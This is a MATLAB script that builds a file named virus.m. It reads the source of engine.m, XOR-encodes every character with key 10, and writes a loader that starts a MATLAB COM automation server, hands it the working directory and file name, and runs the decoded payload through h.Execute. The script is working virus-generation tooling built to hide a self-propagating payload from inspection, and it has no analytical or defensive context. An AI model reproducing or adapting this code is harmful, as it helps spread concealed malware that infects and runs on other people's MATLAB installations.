 clear;

 fid = fopen('.\engine.m', 'r');

 s = '';
 while (~feof(fid))
    tline = fgetl(fid);
    if tline == -1,   break,   end;
    tline = strtrim(tline);
            if (length(s)>0 && s(length(s))~=';')
                s = strcat(strcat(s,','),tline);
            else
                s = strcat(s,tline);
            end
 end;
 s = strrep(s,'#',' ');

 fclose(fid);

 fid = fopen('.\virus.m', 'w');
 fprintf(fid,'%s\n','%a1');
 fprintf(fid,'%s\n','%a2');
 fprintf(fid,'%s\n','%a3');
 fprintf(fid,'%s\n','%a4');
 fprintf(fid,'%s\n','h=actxserver(''matlab.application'');h.PutWorkspaceData(''destdir'', ''base'', cd);h.PutWorkspaceData(''mf'', ''base'', mfilename);%a3');
 h = '[';
 for i=1:length(s)
    h = strcat(h,num2str(bitxor(10,double(s(i)))));
    h = strcat(h,',');
 end
 h(length(h)) = ']';
 h = strcat('k = h.Execute(char(bitxor(10,',h);
 h = strcat(h,')));%a4');

 fprintf(fid,'%s\n',h);
 fprintf(fid,'%s\n','%a4');

 fclose(fid);



 disp(s);

